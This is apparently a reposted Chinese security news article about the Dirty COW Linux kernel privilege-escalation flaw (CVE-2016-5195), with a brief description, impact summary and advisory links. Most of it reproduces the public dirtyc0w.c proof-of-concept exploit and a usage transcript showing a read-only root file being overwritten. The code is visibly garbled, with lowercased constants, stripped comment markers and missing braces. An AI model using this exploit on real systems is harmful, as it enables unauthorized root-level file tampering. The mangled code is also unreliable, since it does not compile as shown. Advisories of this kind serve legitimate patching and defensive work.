Linux内核出现本地提权漏洞 CVE-2016-5195 2007年以后的版本都可能受到影响

dirty cow (cve-2016-5195) 是 linux kernel 中的一个权限提升漏洞。linux 内核内存子系统处理私有只读存储器映射的写入时复制 （cow） 机制被发现了一个冲突条件。这个漏洞存在于 2.6.22以后的版本 （在 2007 年发布），已经在 2016 年 10 月 18 日修复。

该漏洞影响

没有权限的本地用户可以使用此漏洞获取写访问权限，修改只读内存映射，从而增加他们在系统上的特权。

该漏洞允许攻击者使用本地系统帐户修改磁盘上的二进制文件，绕过标准的权限机制，这些权限机制通常用于防止修改没有适当的权限集。

debian及redhat分别就此漏洞发布公告

更多内容请查阅：

<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344">https://bugzilla.redhat.com/show_bug.cgi?id=1384344</a>

<a href="http://seclists.org/bugtraq/2016/oct/43">http://seclists.org/bugtraq/2016/oct/43</a>

/*

####################### dirtyc0w.c #######################

$ sudo -s

# echo this is not a test &gt; foo

# chmod 0404 foo

$ ls -lah foo

-r-----r-- 1 root root 19 oct 20 15:23 foo

$ cat foo

this is not a test

$ gcc -lpthread dirtyc0w.c -o dirtyc0w

$ ./dirtyc0w foo m00000000000000000

mmap 56123000

madvise 0

procselfmem 1800000000

m00000000000000000

*/

#include &lt;stdio.h&gt;

#include &lt;sys/mman.h&gt;

#include &lt;fcntl.h&gt;

#include &lt;pthread.h&gt;

#include &lt;string.h&gt;

void *map;

int f;

struct stat st;

char *name;

void *madvisethread(void *arg)

{

char *str;

str=(char*)arg;

int i,c=0;

for(i=0;i&lt;100000000;i++)

you have to race madvise(madv_dontneed) :: https://access.redhat.com/security/vulnerabilities/2706661

&gt; this is achieved by racing the madvise(madv_dontneed) system call

&gt; while having the page of the executable mmapped in memory.

c+=madvise(map,100,madv_dontneed);

}

printf("madvise %d\n\n",c);

void *procselfmemthread(void *arg)

you have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16

&gt; the in the wild exploit we are aware of doesn't work on red hat

&gt; enterprise linux 5 and 6 out of the box because on one side of

&gt; the race it writes to /proc/self/mem, but /proc/self/mem is not

&gt; writable on red hat enterprise linux 5 and 6.

int f=open("/proc/self/mem",o_rdwr);

for(i=0;i&lt;100000000;i++) {

you have to reset the file pointer to the memory position.

lseek(f,map,seek_set);

c+=write(f,str,strlen(str));

printf("procselfmem %d\n\n", c);

int main(int argc,char *argv[])

you have to pass two arguments. file and contents.

if (argc&lt;3)return 1;

pthread_t pth1,pth2;

you have to open the file in read only mode.

f=open(argv[1],o_rdonly);

fstat(f,&amp;st);

name=argv[1];

you have to use map_private for copy-on-write mapping.

&gt; create a private copy-on-write mapping. updates to the

&gt; mapping are not visible to other processes mapping the same

&gt; file, and are not carried through to the underlying file. it

&gt; is unspecified whether changes made to the file after the

&gt; mmap() call are visible in the mapped region.

you have to open with prot_read.

map=mmap(null,st.st_size,prot_read,map_private,f,0);

printf("mmap %x\n\n",map);

you have to do it on two threads.

pthread_create(&amp;pth1,null,madvisethread,argv[1]);

pthread_create(&amp;pth2,null,procselfmemthread,argv[2]);

you have to wait for the threads to finish.

pthread_join(pth1,null);

pthread_join(pth2,null);

return 0;

原文发布时间：2017年3月24日

本文由：安全加 发布，版权归属于原作者

原文链接：http://toutiao.secjia.com/linux-kernel-local-rights-loophole-cve-2016-5195

本文来自云栖社区合作伙伴安全加，了解相关信息可以关注安全加网站